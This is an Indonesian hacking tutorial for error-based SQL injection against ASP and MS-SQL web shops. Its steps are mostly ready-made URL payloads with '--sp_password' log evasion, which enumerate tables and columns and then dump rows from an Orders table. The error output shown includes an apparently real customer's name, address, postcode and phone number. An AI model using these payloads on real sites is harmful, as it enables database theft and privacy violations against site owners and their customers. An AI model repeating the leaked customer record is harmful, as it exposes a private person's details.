Undisclosed version dari salah satu artikel gw....

-------------------------------------------------------------------

SQL Injection Adv.3

berikut adalah lanjutan dari v.2 Sql Injection dimana kesemuanya hanya berpengaruh pada mesin  yg menjalankan web ASP + MS-SQL ....

dan inget penulis tidak bertanggung jawab atas segala kemungkinan yg terjadi hehehe

Target  sample : http://www.xxx/qshop/details.asp?prodid=93

The Process :

Contoh : http://www.xxx/qshop/details.asp?prodid=93’ atau http://www.xxx/qshop/details.asp?prodid=93 having 1=1--

Contoh dari hasil di atas :

http://www.xxx/qshop/details.asp?prodid=93’

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ''.

/qshop/details.asp, line 23

Cari Table :

%20or%201=convert(int,(select%20top%201%20table_name%20from%20information_schema.tables%20where%20

table_name%20not%20in%20(‘x')))--sp_password

X didalam tanda kurung itu adalah nama table yg akan keluar dan di insert lagi. Penjelasannya ada dibawah

Cari Field :

%20or%201=convert(int,(select%20top%201%20column_name%20from%20information_schema.columns%20where%20table_name=

('X')%20and%20column_name%20not%20in%20('Y')))--sp_password

X itu nama tablenya

Y itu nama fieldnya

http://www.xxx/qshop/details.asp?prodid=93%20having%201=1--

en keluar errornya :

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'products.Id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

/qshop/details.asp, line 23

OK dari error itu kita tau ada table dengan nama Product dan di dalam table product ada field ID.

%20or%201=convert(int,(select%20top%201%20table_name%20from%20information_schema.tables%20where%20table_name%20not%20

in%20(‘x')))--sp_password

Sekarang X kita ganti dengan Products. Jadinya

%20or%201=convert(int,(select%20top%201%20table_name%20from%20information_schema.tables%20where%20table_name

%20not%20in%20('Products')))--sp_password

Trus kita masukin rumus itu di belakang value products

http://www.xxx/qshop/details.asp?prodid=93%20or%201=convert(int,(select%20top%201%20table_name%20from%20

information_schema.tables%20where%20table_name%20not%20in%20('Products')))--sp_password

and keluar error :

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Carts' to a column of data type int.

/qshop/details.asp, line 23

Nah ada lagi table dengan nama Carts…got it…cari trus sampe abis….kita tambahin aja value x-nya, jadi :

http://www.xxx/qshop/details.asp?prodid=93%20or%201=convert(int,(select%20top%201%20table_name%20from%20

information_schema.tables%20where%20table_name%20not%20in%20('Products','Carts')))--sp_password

abis itu bakal keluar error dengan nama table yg laen…..masukin trus nama2 table itu kyk contoh di atas. Masukin terus sampe errornya gak ada ato errornya beda.

Akhirannya jadi :

http://www.xxx/qshop/details.asp?prodid=93%20or%201=convert(int,(select%20top%201%20table_name%20from%20

information_schema.tables%20where%20table_name%20not%20in%20('carts','Categories','CommonList','Config_Table','dbstatus',

'dtproperties','Historic','OrderLines','Orders','Products','Status','sysconstraints','syssegments','test','Users')))--sp_password

%20or%201=convert(int,(select%20top%201%20column_name%20from%20information_schema.columns%20where%20table_name

=('X')%20and%20column_name%20not%20in%20('Y')))--sp_password

X kita ganti dengan nama table yg akan kita cari field2nya….jadi kita ganti Orders

Y kita kosongin aja dolo tar jg keluar field pertamanya.....jadi :

http://www.xxx/qshop/details.asp?prodid=93%20or%201=convert(int,(select%20top%201%20column_name%20from%20

information_schema.columns%20where%20table_name=('Orders')%20and%20column_name%20not%20in%20('')))--sp_password

errornya jadi :

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Id' to a column of data type int.

/qshop/details.asp, line 23

Nah ID itu adalah field pertama dari table orders, artinya kita dapet nilai Y....selanjutnya kita ganti Y jadi ID menjadi :

http://www.xxx/qshop/details.asp?prodid=93%20or%201=convert(int,(select%20top%201%20column_name%20from%20

information_schema.columns%20where%20table_name=('Orders')%20and%20column_name%20not%20in%20('Id')))--sp_password

nah tar terus keluar error yg sama persis kyk waktu kita ngeluarin struktur table…trus masukin lagi field2 table order ke dalam nilai Y sampe errornya gak ada lagi atao beda jadi :

http://www.xxx/qshop/details.asp?prodid=93%20or%201=convert(int,(select%20top%201%20column_name%20from%20

information_schema.columns%20where%20table_name=('Orders')%20and%20column_name%20not%20in%20('Id','UserID','CartID','Date',

'Name','Surname','Country2','Address','CP','City','Province','Country','Phone','mail','DName','DAddress','DCP','DCity','DProvince',

'DActualCountry','DPhone','PaymentMode','SubTotal','Delivery','Total','Status')))--sp_password

%20or%201=convert(int,(select%20top%201%20convert(varchar,isnull(convert(varchar,%20Y1),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,%20Y),'NULL'))% 20from%20X%20where%20Y1%20not%20in%20('Z')))--sp_password

Ok Y1 itu nilai Primary Key, contoh primary key itu ID, OrderID, UserID dll….

Y itu Field lainnya dalam table yg akan di keluarin nilai fieldnya.

X itu Table Name yg akan di ambil data2nya

Z itu nilai dari Y1 bisa jadi 0,1,2,3,4…dst;….

Contoh dari sample :

http://www.xxx/qshop/details.asp?prodid=93%20or%201=convert(int,(select%20top%201%20convert(varchar,isnull(convert(varchar,%20id),

'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,%20date),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,%20UserID),

'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,%20Name),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,%20Surname),

'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,%20Address),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,%20CP),

'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,%20City),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,%20Province),

'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,%20Country),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,%20Phone),

'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,%20mail),'NULL'))%20from%20orders%20where%20id%20not%20in%20('2918')

%20order%20by%20id%20desc))--sp_password

darimana dapet nilai value Y1 ? masukin aja asal dulu misalkan 0, nanti di error yg akan keluar dikasih liat nilai Valuenya, biasanya di awal contoh :

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '3011/Dec 23 2006 2:19PM/L9180ER/Britain/Brady/The Department of Politics, Un/YO10 5DD/York/Please Select/UK/07939086210/ This e-mail address is being protected from spambots. You need JavaScript enabled to view it / ' to a column of data type int.

/qshop/details.asp, line 23

3011 itu nilai dari Primary Key atau Y1…..

Selesai….sql injection gak Cuma berefek di MS-SQL tapi jg di semua SQL…Cuma metodenya beda2….tunggu saja rilisan berikutnya ;)

Shoutz : Alpha, Bima, Dextone and all 1stlink n Neoteker crews!